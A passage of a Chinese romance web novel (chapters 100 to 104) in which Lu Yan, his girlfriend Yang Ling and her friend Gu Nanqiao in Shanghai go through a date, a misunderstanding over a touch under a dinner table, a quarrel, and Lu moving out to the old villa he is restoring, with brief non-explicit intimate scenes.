特别是最近,每况愈下,越来越想独处了。 “咚咚!” 男人拍响车窗,声音如此刺耳。 这几乎激怒了车里的人。 心里不满再次上升一个台阶,暗骂一声。 果然是张羌。 保持社交脸,降下窗户,并没有准备下车: “张律师,到底什么事?” “这个......要不我们车上聊?” 他脸上带着局促衍生的腼腆,而腼腆,一般不受女人待见。 “你说有急事我才来的,怎么?这会不急了?” 见顾南乔还是那个顾南乔,张羌收起笑容,面容严肃,却不急着回答。 八点左右,一男一女。 路人的遐想下、耐心像鞭炮引线般烧至尾声时,悲怵的声音说: “我接了个案子。” 接了就接了,炫耀?不,他没这资格。 是黄埔厂的案子? ......有可能。 “然后呢?” “和你有关。” “噢。” 看来确实是黄埔厂的案子。 难怪王显宗一直要她找张羌,搞了半天是要合作办案了。 “也......和你家里有关。” “什么?” 她愣住了。 色泽饱满的嘴唇让男人咽了咽口水,没人察觉。 ...... 女人和男人的生理开关不一样。 她们注重氛围,情调。 开始要言语挑逗,要动作轻柔,且逐步触碰。 随着各部位状态就位,便要由缓到快、细心且粗鲁...... 一起洗完澡后,杨灵很满意,甚至惊喜。 此刻仍不愿意松手,抱着陆砚在沙发上看电视。 电视播放‘虎啸非洲’,她在旁边安静靠着。 一会看电视,一会观察他有没有认真看。 陆砚知道,是在等看完以后,一起讨论最喜爱的‘人’,一起扮演、一起感悟生死之间的真情。 所以杨灵是如此干净而单纯的一个人,让他情不自禁地喜爱、讨好,并为其服务。 无心看电视。 身体压力得以释放的同时,能感受到另一半的放心、安心和依恋。 越是如此,被‘桌下阴影’蒙住的内心就越发煎熬。 小时候他撒过一个谎,编织了个完美的家庭背景,得到诸多班级同学的羡慕。 为此,他必须出手阔绰、见到大场面表现平淡。 乃至看到校长的豪车时,也会在伙伴面前大放厥词。 九岁,家访。 老师并不知道他‘吹的牛’,可道德的审判还是重重落在了年幼心灵上。 噩梦里,总会担心谎言戳破的那天。 他哭泣、后悔,却无人能言。 第一次,体会到,一个人对抗世界的滋味...... 电视放完。 沉默在弥漫。 刚刚洗过、无比细腻的腰肢仍被手掌感知着,陆砚和理性拉扯了很长时间。 缓缓开口: “灵灵,我有件事要跟你说......” “明天要一起约会呢,陆先生~” 樱花花瓣一样的唇,就这样贴着耳边,将亲吻和对话同步进行。 对了,明天还有一天。 等开开心心过完以后,再提吧? 在此之前,还要先跟顾南乔好好谈谈。 或许可以谈论的东西不多,但必须,必须把所有话说清楚! 第一百章 漫步甜爱路 顾南乔整夜未归。 是早上,杨灵在旁边醒来,回房间的时候发现的。 两人洗漱完,一起回到床上补觉。 陆砚率先从犯困余韵中清醒。 她平躺着,像块被晨光浸软的玉,连呼吸都轻得像怕吹皱了空气。 绑着头发、露出光洁的额头,睫毛比昨晚关灯前看着更长些,直挺挺地垂着。 鼻梁是秀气的山丘,鼻尖粉红。 往下移时,目光被睡衣领口的鲨鱼图案勾了下: 淡灰色的棉料贴着曲线,鲨鱼的白牙齿歪歪扭扭,尾巴尖刚好蹭在锁骨窝里。 她总说这睡衣显胖。 可此刻布料贴着胸口,拢出浅浅的弧度,像揣了两只温软的小鸽子,随着呼吸极轻地起伏。 腰是真的细。 睡衣下摆往上收了点,露出一小片平坦的腹部,皮肤白得透光。 阳光慢慢爬到床边,睫毛终于颤了颤。 自然不会放过好时机。 假装翻了个身,手悄悄往被子底下探...... 说时迟那时快,一个侧身下地、攥住被角往前一扬—— 鹅黄色的棉被像张巨大的帆,‘哗啦’一声罩下来,将她整个身子裹在里面。 “唔!” 紧接着老师傅推动那团鼓囊囊的‘圆柱’滚了半周、又半周,边角全被卷进里面。 此时,被子缠得像只紧实的蚕蛹,只在顶端拱出毛茸茸的脑袋,额前碎发被压得支棱着,眼睛瞪得滚圆: “陆砚!” “醒了?那就打个劫——” 故意把声音拖长了调子。 经常被打劫的朋友肯定听得出,对方不是奔着财物来的。 然而杨灵一脸茫然。 脚踝处的被角没裹紧,露出两只光脚,脚趾无意识蜷着。 大概是被转得发懵,一时理解不了情景。 ......怪他,平时玩得太正经。 “小妞,交出你身上最值钱的东西!” “什么……?” 声音还带着刚醒的沙哑,尾音勾着点稚气。 “比如,这个。” 低头在她鼻尖咬了口,软乎乎的。 她身子动了动,想挣开、却被裹得更紧。 胳膊在里面扑腾,像条刚离水的鱼,“放开啦……” 很好。 对方很上道的表现了他需要的‘挣扎’。 陆砚故意把脸凑得极近,鼻尖蹭着她的脸,声音压得像偷东西的贼: “不放,交不出财宝,那小爷就劫个色。” “......噢。” 图穷匕见之后,她嘴唇抿着笑意。 往怀里靠了靠,睫毛扫过下巴,呼吸里带着点发烫的甜——这是要妥协的意思。 然而如此轻饶怎能显得歹徒凶恶?‘采花贼’也是有职业KPI的好吧! 目光忽然落在她露在外面的脚背上。 起身,轻轻跨坐‘蚕蛹’上,手指往被子底下一钻,精准挠在脚心。 “呀!” 她整个人在被子里弹了下,像被踩了尾巴的猫。 指尖稍一用力,对方就开始笑,气都喘不匀,“别……哈哈哈……陆砚!” 被子被挣得松了些。 露出半截肩膀,淡灰色睡衣滑下去点,能看见锁骨处,浅浅的窝。 她笑得眼泪都快出来了。 脚拼命往回缩,却被手艺师傅另一只手按住脚踝,那点细弱的挣扎,倒像在挠男人的心。 “杨灵灵,求饶就放了你!” 说罢,此时故意放缓了动作,指尖在脚心画圈。 她咬着嘴唇,脸憋得通红。 最后悄悄哼了几句意味不明的话—— 大抵是此前有过求饶的经历,这次溃败得更快些。 陆砚这才抽回手,顺便在蚕蛹隆起处,捏了捏。 无意的举动就像触碰了某种开关: 杨灵抬眼看过来,睫毛上还挂着点水光,嘴唇却微微撅起,带着点没消的气,又有藏不住的甜。 那些刚醒的迷茫早散了,眼仁亮得像浸在蜜里的黑葡萄,定定地、黏在他脸上。 一眼万年。 “快松开~” “好,好。” 坐起来后,她把丸子头解开。 瀑布般的中长发倾泻而下,像春日清晨林间未散的薄雾,柔软又朦胧。 早上是个万物复苏的节点。 上次出现、现在依旧崭新的小方盒被男人着急忙慌拆开。 过程中,小脑袋好奇凑过来,全然没有对即将到来的事件感到害怕。 嗯,很加分。 手把手教学穿戴防护服的时候,智能系统的机械音恰到坏处响起: “欢迎回家!” “...” 杨灵轻轻按压,做着无谓的安抚,说: “不凑巧呢,爱打劫的先生。” “......以后,每天五点起床!” “没关系亲爱的,下午去你家。” 她总是这样好,好到无可挑剔。 相比之下,自己却瞒着做了...... 不对,自己也是受害者。 至此,心中对某个没边界的人,多了点不满。 整理好衣服,外面,顾南乔一个人坐在沙发上发呆。 眼里有血丝,见到两人笑笑说: “昨晚罗曼蒂克吗?是不是很感激我的好心退场?” 像一夜没睡,哪哪都透着疲惫。 然而不专注的男人没有半点共情能力,陆砚更在意的是话语里暗含的内容。 好像明白了什么: 或许桌下撩拨自己的行为只是一个玩笑,而非勾引。 对方有帮忙助攻的意思,也说不定。 “不能感谢。您像特意坐外头吹了一夜冷风似的,哪敢承这么大的情啊!” 不管好心与否,完全不能接受。 首先,他们感情很好,不需要‘撮合’;最重要的是,不能背叛彼此。 现阶段每每想到‘杨灵’两个字,甚至类似字眼,内心都会不由地柔软。 “乔乔,要不要我陪你。” 她坐过去,眉眼全是关切神色。 多么好的姑娘啊——纯洁、温柔且真诚。 对朋友,对他,无可挑剔! ......有人就是身在福中不知福! 想到此处,猛地燃起怒火。 这瞬间,厌恶之情准确附着在顾南乔身上。 “不用,你们难得休息撞一起,别管我,尽管去玩。” “那快去休息吧,脸上好憔悴。” 陆砚没吭声,不恶语相向,已经是最伟大的绅士风度了。 ...... 今天的梧桐叶被染成了暖金色。 阳光穿过枝桠间疏朗的缝隙,在灰砖路上洒下斑驳光影。 去甜爱路约会之前,先把车开到淡水路,枫糖花店。 取来鲜花送给她。 里面,还放着昨天晚饭来迟的原因——一支飞檐翘角发簪。 弧度优美,两端向上翘起,有飞檐的华美、亦有传统的古朴。 那天看到她因为工作原因,涂指甲油都只敢悄悄欣赏,就开始行动了。 纯手工制作,加班加点完成。 和文化相关的木头饰品,总不会违反纪律吧? 本想着在和平饭店送给她,可那里...... 那里就是送几万、十几万的礼物也不奇怪。 所以把心意藏起来了。 渴望借着蓝色玫瑰、粉色卡片,和卡片上再度掏空肚中墨水的情话加持,让簪子的出现更有说服力。 说服她,男人真心喜爱着。 “陆砚......” 她的指尖泛着好看的颜色,拿住簪子低声呼喊,显得不知所措。 “快扎个发髻,一会帮你带上。” 其实没有想过,以此兑换杨灵的笑脸或者感谢。 饰品打磨过、砂纸摩挲胡桃木的时候,心情是如此专注,浸着喜悦。 都源自于她。 仅仅因着这份喜悦,就不需要其他嘉奖了。 “谢谢男朋友......以后我一定对你更好。” “...” 画风有点奇怪......算给今天开了个好头吧! 总之,她的话非常好接——就算后面遇到不好回答的问题,也会被好心情化解。 两人聊了一路,‘杨小姐和陆先生’模式下,一个温柔,一个体贴。 ...... 车停好,漫步甜爱路。 道路两侧由28首中外著名爱情诗篇组成,牵手同行,目光所及皆是深情。 爱心邮筒、爱心红绿灯,还有设立在旁的婚姻登记中心。 对看什么都生动的男女来说: 一切都浪漫,一切浪漫都不重要——重要的是在一起这件事情。 “‘值于未来多于过去的年龄,我大半的生命,正向你缓缓展开’。以后我们修一堵墙的话,就把今天的句子也刻上去!” “到时候版面费怎么算?” 产权是个严肃的问题,无数亲密伙伴因为利益分配而心生罅(xi)隙。 陆砚在此提问,便是引出话题——然后把所有权通通转让,以绝后患! “算夫妻共有财产噢。” “...” 叶片打着旋,秋末的阳光因她的话语而炙热。 不知不觉,陆先生再也无法三言两语撩得杨小姐害羞不敢直视。 甚至有两极反转的趋势。 用花束里的粉色卡片收集完爱心邮戳,他们在一家颇具当地特色的咖啡店吃午餐。 皮质沙发、原木桌,老式留声机悠扬着小号演奏。 是约会小憩的不错选择。 此时,桌下一只脚踢了踢,惊得他瞬间从沉浸中抽离。 “怎么了?” “咖啡要拉花小熊,还是猫头鹰呢?” 杨灵盯着菜单,询问意见,卡其色毛衣露出一截莹润的脖颈。 虚惊一场...... “有没有猎豹和鬣狗的拉花?” 两人一样对坐,但方才的触感...... 和昨天有些不同。 两者同样轻,却少了一种韵味。 果然是顾南乔! “可是你上次说鬣狗很丑诶,会不会太为难人家了。” “默认你是东尼(鬣狗)的话,倒也看得过去~” “陆砚!” 一边是捂着心事的沉思,一边是午后的闲暇时光。 陆砚挑逗她,用消遣的轻松语气、幽默着对话。 此时眼睛是最难控制的,生怕哪块肌肉僵硬了,笑意漏了破绽。 ...... ‘乔乔,遇事不要慌,切记。’ 沟通的方式太多了,现在年轻人基本上不发短信。 直到联系不上顾明远,这条一天前、凌晨三点半的短信才被翻出来。 可它的内容起了反作用。 顾南乔瞬间就慌了。 来源是陌生号码,打不通。 原先号码试过几十次了,也打不通。 微信、短信,皆石沉大海。 回来堪堪睡了六个小时的大脑此刻一片浆糊。 她抓散了头发,来回走动,把手机音量调最大,仿佛这样会更大概率收到消息。 当电量不足的提示音出现时,猛地抬头,随后疯了似的找充电器。 餐桌、沙发、卫生间,转了一大圈才发现在床头柜。 充上电以后,空气恢复安静。 一个人坐着,不知道等什么,等得来什么。 尘埃被捏成了巨石,未发生的事提前在血管里生锈。 反复编织的恐慌被反复拆解,又重构。 书上写,百年岁月一弹指。 但此刻,一分一秒都要了人的命。 第一百零一章 恰到好处 有个女孩不久前,两度提供防弹衣,一度邀约去酒店...... 都因为男人的怜惜而延后了。 如今天时地利人和,陆砚家再度被杨灵光临、卡其色毛衣完全褪去时—— 回旋镖如期而至。 “哈——,呼哈——,我下楼去买。” 书到用时方恨少,一遍一遍翻找杨灵的包时,才发现别的东西也不能少。 于是去地上拿自己的裤子,再下楼去买‘杰’和‘杜’。 “第一次......没关系。” “你......” “恩。” 曾经的陆砚会毫不犹豫,甚至引以为豪。 如今他爱惨了这个女人。 她的‘没关系’,在另一个人心里,有天大的关系。 简直是,不知道怎么形容、世间罕有的痴人。 停止穿衣服,回到旁边替她捋了捋嘴边的发丝——直到此刻,簪子都没取下来。 “我不急的。 我们以后的时间还很长,可以去好多好多地方,度过好多好多比今天更丰满的一天。 也许会穿奇形怪状的衣服、个歌漫步山野,也许会走过金黄沙滩、和螃蟹赛跑......” “你爱我吗?”她问。 陆砚止住话头,用毯子盖住两人的身体,细细凝视她的眼睛。 爱吗? 对有些人来说,爱,多数时刻是一个严肃而长期性的事物: 它基于吸引、亲密和承诺的浪漫关系,配方里,有比重甚大的责任、强调给予且极度排他。 是以,很多情侣,直到结婚那天才敢装模作样说‘爱’。 “宝贝,我有很多......” “我爱你。” “什么?” “我爱你。” 她说了两遍,语气坚定,仿佛问一千遍也是这个答案。 陆砚听清楚了。 每个字,都清清楚楚。 借由话语中的情谊,男人瞬间在‘永恒’面前充满了斗志。 回道,“我爱你。” 我爱你,和我也爱你,差了一个‘也’字,便不是一个意思。 它代表,不管对方爱不爱我,我都如此不能抗拒。 陆砚是后说的,乍看,有‘我也爱你’的嫌疑。 但他此刻真的确定,真的确定了,是‘我爱你’。 杨灵撑起身子,在耳边说: “亲爱的,过去我对你做了一些不好的事情,现在我道歉,愿意一直补偿。” 彼此的记忆力都很好。 能有什么不好的事情呢?停工整顿? 除此之外就没了呀。 陆砚笑笑,问:“怎么补偿?” 她缓缓滑落: “你为我做的那种。” ...... 情侣之间,彼此安慰是水到渠成的结果。 往后,会更寻常。 但现阶段而言,每次突破,都是不寻常的。 他爱着的那个人,问一千遍也是杨灵...... 余韵消退后,带水渍的床单暂不处理,谁晓得什么时候才有空回来收衣服呢? 顺理成章得到男人家的备用钥匙后,两人抢着道走在路上——是玩心大发的她在挤来挤去。 车子启动的时候遇到了小区老刘,他气色好很多。 简单寒暄结束,两人一起买菜,即将回到杨灵家—— 又要见到顾南乔。 半天过去,说过‘爱’的陆砚,觉得一刻也不能忍受了。 今天必须摊牌。 即使有可能不欢而散,甚至于,某一个人搬走。 不,要走肯定是他走。 正好去老洋房把这段时间守完,等项目结束再说。 “欢迎回来!” 智能系统的机械音惊醒沙发上的女人。 她揉了揉眼睛,才发现已经天黑。 “乔乔,睡好了吗~” “嗯——” 听起来就令人犯困的应答里,藏着一丝妩媚。 多么像和平饭店餐桌布下的神韵啊! 陆砚的心很复杂。 就像即将送年纪大的宠物去安乐,不过他比宠物主人更坚定、少些不舍。 顾南乔去洗漱,两人在厨房做饭。 他切菜,杨灵负责备菜。 然后,菜要下锅的前一秒,不顾小助手的反对、坚定将其往外赶。 下午那句‘我爱你’的分量,会在将来,无数个这样的时刻、跳出来被称量。 陆砚甚至还想起那声,‘算夫妻共有财产’。 脱口而出时,秋末的阳光见证,女人的眉眼有多么认真。 愉悦不觉从心间涌现。 顿时,每一次颠锅翻炒,都像欢快恋爱旋律中的一小段。 ...... 红枣枸杞蒸山药,番茄牛腩和白灼虾,三道菜里面,前两道是杨灵一锤定音批复的必做菜品。 对此,当时她做出了如下指示: 针对近期好友因熬夜导致气血损耗的实际情况,我们要切实把‘补足气血’这项工作抓细抓实。结合她的身体状态,必须始终坚持‘清淡易消化、营养无负担’的基本原则,这是确保补养效果的首要前提,也是...... 食补固然重要,却远不及朋友的关心来得滋养灵魂。 是以,吃饭过程中,仅有五分活力的她仍显得欢脱: “灵灵你这样美好,要我怎么克制爱你的心呢?哦天呐,即使穿上DIOR的高定,人们也只会为你的善良而惊艳。” 杨灵差点就压不住嘴角。 被夸以后,大方的慷陆砚之慨,把去了壳的虾肉递过去。 不顾略显沉默的剥虾工,顾南乔因着白得的食物愈发积极,接着说: “这,这难道是一只罕见没有长壳、可直接食用的基围虾吗?感谢我最最要好的闺蜜!也感谢上辈子努力拯救银河系的我自己!” 谁说一眼假的漂亮话没用? 谁说有学识、有内涵的人就不吃这套? 分明有的时候,效果立竿见影好不好? “陆砚,帮我们倒水~” “......好。” 接完两杯水回来,他的盘里又多了几只、不小心长了壳的虾。 两女正严肃地谈论各自的优点,一副‘你那边的情况我们不知道是怎么回事’似的专注。 嘻嘻,女朋友帮忙夹菜,真体贴呀。 ......所以有必要待会还她一盘没壳的虾肉。 语文老师说横看成岭侧成峰,换个角度看问题果然心里乐观多了。 好死不死,顾南乔突然话锋一转,说: “陆师傅怎么回事?比我还无精打采。” 剥虾的男人专注手里的活: “这很正常,要人人有你一半快乐,世界会提前五百年进入大同社会。” “咦~大同社会讲究互帮互助,和快乐有什么关系?” 他沉默。 心里咆哮,你就是太乐于助人了! 剥完虾,三人慢慢悠悠吃饭。 一起收拾完以后,杨灵突然说有点事情,出去半个小时。 并拒绝了两人的陪同。 陆砚诧异——有什么事情需要回避呢? 而且此前从来没有过。 但正好,为他和顾南乔创造了空间。 第一百零二章 杨灵 “咔哒!” 杨灵出门后,顾南乔沉默玩手机,一双腿横在沙发上,占据大片位置。 该如何提起话题? 陆砚慢慢走过去,想着谈事情前的铺垫。 依照经验,得先绕着话题外围打游击、试探,再找个突破口点题...... 怎么和小时候,最讨讲话弯弯绕绕的长辈一样了? “陆师傅,过来一起看电影呀!” 收了腿,腾开一片位置,看向他。 陆砚远远坐下,两人各在沙发两端。 “电影就算了。” “那打游戏?听歌?总不能一起玩消消乐吧。” 百灵鸟般轻快的嗓音不能消除两人的距离,也不能润滑接下里生硬的话题。 “......你觉得,”先压着火,声音平静开场,“我和杨灵的感情顺利吗。” “挺顺的。” “那是好,还是不好?” “不知道。反正比我想的更顺利。” 语气平淡得有点随意,心思全然不在话题上。 她侧过头,拿起手机翻看。 “期间也有你的功劳。” “嗯,是的。” 网络上有个词叫‘尬聊’。 年轻人纷纷避之不及,觉得过程煎熬。 是的,他们在尬聊。 没有人喜欢体验这个词汇背后的语境。 此刻压着他的唯一砝码,是‘对方好心想帮他助攻’的可能。 “你做了很多,我本该谢谢你的。” 她瞥过来,“本该?你是说我多余?” 就像周末接到一个请求,让没有登台经验的你,帮忙在话剧演出前拉开帷幕—— 漆黑的剧院,下面有几百双眼睛看着。 他预感到了即将发生什么。 他就是那个拉开序幕的人。 “......不全是,只针对某些事。” 顾南乔实在听烦了。 工作,是那样情况的工作; 回家,是需要面带笑容的回家。 她已经没有半点心气聊可能会沉重的、严肃的话题。 偏偏陆砚就一脸严肃地找了过来。 是嫌千斤重担压不垮二十七的肩膀吗? “我累了,不想聊了。” 起身准备回房间。 然而一只手稳稳拦住将要行径的路。 “昨天的事情,以后不要再做了。” “什么事情?” 你好不容易决心认真发言的时候,对方的玩笑无疑会触发愤怒开关。 陆砚以为顾南乔还在装愣—— “和平饭店,桌下的事情。我们是朋友......也可以不是朋友。听明白了吗?” 她先是一滞,蹙了蹙眉,冷冷看过来: “没人上赶着稀罕交朋友,要是觉得烦就别拦着,我保准走......以后你是你,我是我......不是朋友!” 发了脾气,用力把陆砚推开,顾南乔冲回房间。 背影决绝。 如此,也算把关键的话,说清楚了吧。 虽然消除隐患的方式是以一刀切的方式进行的...... 那边房门没关,收拾东西的声音清晰传到耳里。 意料之中的局面。 叹了口气。 还要把刚刚闹掰的人留住,不然真把女友最好的朋友‘赶’走了,麻烦绝对不小。 “收拾东西干嘛呀,别这样好吗。” “你不就那个意思吗!现在就滚蛋给你腾位置!” 声音尖锐,情绪激烈,又是男人不擅长应对的局面。 堪比梨花带雨的指责。 陆砚不认为自己做错什么,缓而坚定道: “要走也是我走。聊天之前我就做好打算了。” 她抓起衣服胡乱往箱子里塞, “得了吧!话是你说的,走又是你走,别这么虚伪行吗?就当没看见,我一会跟灵灵解释,保证不提你!” 喉结滚了滚,男人让理智接管场面: “和虚伪无关,我只是不愿意那样的事情再发生了。而且真的,我准备今天搬去老洋房。” 当初来的时候,顾南乔带的东西就不多。 何况现在就是胡乱塞的,东西十有八九不齐全,已经拉好箱子要往外走了。 人家家里有情况,暂无去处,陆砚还没冷血到这步,自然不会让她离开。 要走,也要做好打算,有着落的走吧? “别这——” “滚开!” 她的眼睛里藏着只狮子,压抑的愤怒几乎择人而噬。 所以呢? 滚开? 自己做些出格的事,还倒tm还发起脾气了? “你是不是被周围人惯得太厉害了?是个人都要给让路?长了腿要走自己不会绕道吗?还是说你觉得自己委屈我就要让着?律师哟,先想想做的事情对不对,有没有理!” 忍,忍她乃乃的! 谁错谁当孙子,谁孙子谁道歉! 不讲理,装什么大爷啊? “我做什么对不起你的事了?犯哪条法律了?一天天有事就往我身上安......算我眼瞎,看错了人。” 陆砚以为会接着吵。 然而她哭了。 不顾形象,蹲在地上,情绪完全崩溃地大哭。 视线中,就那么缩成小小的一团,抱着膝盖任由鼻涕眼泪下流。 “...” 她本可以摔东西、打、骂。 又或许因为不是自己家,也推不开眼前的男人,所以只能无助在地上哭泣。 于是,在最愤怒的时候,最伤人的话他没说出去,反而在哭泣声中愈发烦躁。 几欲出门躲躲。 他想,对就是对,错就是错。 不管女人再怎么闹腾,事实也不会改变。 无心逗留,陆砚转身往外走。 暖黄光,电视是黑的,窗外近乎是黑的。 玄关与客厅之间,侧面墙凹陷着一个个半圆,只要按一下,鞋柜就会打开。 对,是什么来着? ‘顶天立地’式分层。 熟悉的场景、熟悉的剧本。 突然某种灵感闪现,让他停下脚步。 顾南乔还在抽噎。 男人压制住烦躁,问道: “吃饭那天,你,桌下有没有......踢我?” “王、八蛋,我恨不得踢死你......” 空气停滞在胸口,粘稠堪比沥青马路的涂料。 某种不妙的预感愈发强烈,他在顾南乔面前蹲下来,几欲开口。 可话到嘴边,身体又仿佛回到话剧舞台。 场下漆黑一片,几百双眼睛盯着前面。 他,仍然是拉开幕布的人。 “乔乔......我,你好好告诉我,那天你有没有伸腿......” 陆砚艰难挤出那两个字,“有没有,蹭我。” 一双决绝又坚定的眼睛,充满恨意的说: “没有。” ...... 杨灵问,‘最好的朋友,是有多好’。 她说,‘不上班,我也养你’。 于是十六岁高中夏令营回来以后,她们约好,要做最好的朋友。 ...... 顾南乔家出事,过来的第一天,她们俩在房间。 杨灵悄悄说,‘不要担心,以后我养你’。 顾南乔笑了笑,让小时候的时别当真。 杨灵捂住她的嘴,再三强调,‘答应的事情就一定要算数。如果有机会的话,我肯定会养你一辈子的’。 ...... 昨天和陆砚约会完,杨灵犹豫了很久很久。 特别是看到她在外面一夜未归,她大概能猜到一些事情。 今天十一月一日,特地出门,去买顾南乔最爱吃的蟹壳黄。 蟹壳黄是上海人记忆里的‘街头小确幸’。 巴掌大的扁圆饼身,烤得油亮焦香。 表皮布满细密的芝麻粒,轻轻一碰就能听见‘簌簌’的声响。 “老板,甜咸口各拿一份。” “不好意思,最后一份别人预定了。要不要试试蛋黄酥?刚出炉的味道非常好。” 望着另一份搞点,杨灵站定了很久。 “不用了,谢谢。” 她是一个计划好了就坚定执行的人,顿时准备驱车去另一条街。 第一百零三章 女人心 马赫丽亲人,却也谨慎。 当初摄像师跟了大半年,施以援手好几次,才取得信任。 女人比猎豹更谨慎。 杨灵是复杂的,愿意全身心奉献的同时,又忍不住猜疑。 忍不住想办法,让安全感将自己围得密不透风。 她有解决问题的能力,就像大象喝完一杯水,鲸鱼吃块小蛋糕—— 一瞬间,无数解决对策在脑里盘旋。 憋着、忍着,任由喜爱的人和别人打闹...... 她做不到。 亦没有任何一个女人,可以长期做到。 杨灵第一次,在陆砚面前说了半个谎话。 也是反复确认、会被原谅的前提下,才说的。 如果谎言能被察觉,说明斗争过,他真心爱着; 如果不曾被察觉,以后也会因为愧疚,远离顾南乔。 至于抗拒不住诱惑,接受‘勾引’的情况——基本不可能成立。 要知道,她只是确认男人99.99%后面,万分之一的小心思。 何况乔乔......即使有心,也不会答应的。 她们始终是最好的朋友,就像当初约好的。 而且,真的,真的,即使问一千遍,答案也是愿意养顾南乔一辈子。 甚至想不到,将来还会有谁,此生有机会如此要好。 电梯缓缓上行,看着时间,杨灵微不可闻地泄气。 原想着两人吵完,趁着没把话说开的时候回去。 现在因为多跑一条街的缘故,计划十有八九破产了...... 至于为什么硬要多跑一条街、给两人时间、让计划破产的几率无限放大呢? 不知道。 她,是复杂的。 ...... 房间门口,行李箱端端正正立着,人还蹲在原地。 陆砚像只忠心的狗,帮忙找来拖鞋,递纸巾和水。 恨不得在水里下点药,让她忘记刚发生的事。 她说,没碰就是没碰,今天陆砚骂得再难听,没做的事死也不会认。 语气之决绝,仿佛看到虞姬舞剑,坚毅不折。 他当时就信了,然后懵了...... “对不起,我是傻叉,求您大人有大量不跟小的计较!” 不能冲动,不能冲动。 即使将近三十的年纪,有足够解决日常中大部分情景的智商和情商,也不能冲动! 陆砚回顾近一个月的经历,每次冲动,都会懊悔不已。 “顾......乔乔,你吱一声啊,我急死了。” 背影没有说话,停止哭泣后的第一件事——要与他决裂。 触碰衣袖的瞬间,她要报警,告猥亵。 ......怎么整? 总之,先把行李箱送回原位。 至于里面的行李......前车之鉴,还是劳烦本人整理吧。 接着,便是蹲在地上抱膝的‘本人’,今晚的受害人。 陆砚很愧疚,想到出门的杨灵,想到本心,甚至有更愧疚的趋势—— 爱,不讲公平原则。 所谓‘不讲公平原则’,就是说: 他错了,必须错;重演一千遍,顾南乔怎样回避,怎么拒绝谈话,也要受伤。 他们不可能再像以前一样打闹、当朋友相处。 不论如何道歉,留给两人的,都只有‘逐渐疏离’一条路走。 道德之神也拦不住! 在此之前...... 没哭,她的背还时不时的抽动。 陆砚轻轻拍打,帮着顺气: “你报警我也要这么做的。” “我恨死你了。” “应该的。” 此时,门那边传来动静。 两人齐刷刷看过去。 ...... 杨灵进来,换鞋,目光平静。 看不出什么。 但陆砚脑内一团乱麻——恋人刚出现,心就倒向那边—— 不论事实如何指向;不论出发动机如何;不论受害者如何无辜,他的立场仍然义无反顾。 只是,对顾南乔的疑心,也打散了。 天,如果是一只小动物,跑进和平饭店蹭他的腿,就好了。 ......也不排除当时出现幻觉的可能。 机械音缓缓开口问候,说: “欢迎回来。” 嘿。 心里苦中作乐,默默为科技点赞。 不管气氛多凝重,它总一副波澜不惊的声音,帅呆了。 “......灵灵,做什么去了?” 陆砚问道,蹲地上继续拍打顾南乔的背。 眼睛瞪着——‘特殊情况,不准吃醋!’ “买点心去了。” 提着袋子,里面装着蟹黄酥。 “站那干嘛呢,过来坐啊。” 另一只手拍拍旁边的位置,嘴边笑笑,示意放松。 “噢。” 不远不近的距离,她走了很久才到面前。 坐下,往顾南乔那边靠了靠。 偌大的房子,三人坐地上,把房门口挤满。 她的举动挑明了某些不愿证实的真相,让印象里,杨灵脸上的稚气褪去一点。 陆砚懂了。 人都是麻的。 这玩笑,开得真大...... 但不至于形象破碎。 只是当‘杨灵灵’无意调皮了下,不曾想酿成如今地步。 顾南乔目光空空,看着地上发呆。 两人眼神相撞,一个无奈,一个不知所措。 还是头次,共处一室的时候,他不用为气氛尴尬背主责。 沉默搀扶着食物香气在空间漫步,有种既紧张又轻松的氛围,是怎么回事? 蟹黄酥趁热吃是上海美食第一定律。 指指袋子,示意对方快做补救。 “陆砚,你不是吵着要去老洋房吗?现在走吧。” “不......”是杨灵。 “那我走。” “不要!” 陆砚:“?” 既要又要? 本来心里某个角落,有点生气的。 看她心虚到手忙脚乱的模样...... 算了算了,也没做什么过分的事情。 不触及原则,孩子调皮就调皮吧。 而且刚刚才和顾南乔‘吵架’,正好规避一下。 “顾律师说得有道理,千里之行始于足——” “别废话!” “...” 好吧。 历误判之后,顾姓女子得到史诗级加强,他和杨灵两个人加起来估计也无法抗衡。 陆师傅遂起身,去房间收拾衣服。 越过宽敞的客厅、开放厨房长长的吧台,便是另一间套房了。 其实也没有需要收的,一套换洗衣物就行,洗漱用品那边都有。 脚步松快间,杨灵跟过来,在后面轻拽他的衣服。 陆砚知道是什么意思,无奈说: “我气性没顾乔乔那么大。” “对不起嘛......明天你再过来,好吗?” 额...... 口号喊了那么多次,搬出去一天就回来,老师傅脸面情何以堪? 小丫头片子还是太稚嫩,不懂男人心! “这段时间还是算了吧......啊我不是那个意思。” 前句出口,她就有要哭的趋势,陆砚赶忙解释: “工作,真工作。” 手攥着衣袖,泪水没止住。 晶莹的泪珠从脸颊滑落,才发现,她鼻尖红透了。 发簪歪在耳后,像台风里,挂在房檐苦苦支撑的彩绘雀替。 可,压根没生气,也不需要道歉啊! 头都大了...... 今天发洪水?关不住闸? “宝宝,我们没事的,一点事都没有,真是为了工作,年前洋房肯定就修完了......到时候一起过年哈!” 温声细语安慰好久,她才哼哼唧唧,变得能交流—— 事件接着往下推进。 陆砚出门前,那个楚楚可怜、恋恋不舍的目光,有魔力似的。 大概多看一秒,开口再喊一遍他的名字,老师傅便会‘恬不知耻’留下来...... 谁都赶不走的那种。 第一百零四章 她又在道歉了 开过淮海中路,开过环球港,前不久他和杨灵在这散步过,有崭新的回忆。 街景变换。 转眼,新华路,老洋房到了。 大概多久? 一个多月前吧。 那天晚上来老洋房,里面灯是亮着的。 如果不是正好撞见杨灵,费尽心思把她叫出去聊天、吃关东煮,还在一边说撩拨情绪的话...... 可能两人得再走一段蜿蜒小路,才能会合。 进门,开灯,大厅的橘黄吊灯只有一半能亮。 电路......台风以后再修吧。 回到小房间,墙边一张行军床,桌上两条干毛巾,内有厕所、淋浴。 头顶的小灯泡现在是偌大老洋房唯一光亮。 从大平层到陈设简单的房间、从叽叽喳喳贴着身边讲话到一个人的夜晚,落差并没有想象中的大。 甚至,环境的不足会被一种更心安理得的感受弥补。 他躺在床上,听周围响动——没什么声音。 想着,住在这,每天晚上的检查事项...... 开始行动。 先从上到下每个房间都看过去,门窗固定逐一排查,糯米胶、鱼鳔胶的固化情况,排查完一遍后把含水率瞧一瞧...... 四处查看过程中,没有大问题—— 不是雨天话,则主要检查老周、小赵的活,有没有被去而复返的老鼠碰到,之类的。 闲下来以后,接着便想偏了。 正经的大脑中混进来几个熟悉的女人,发生在他身边、印象深刻的事情一件件回放着...... ...... 另一边。 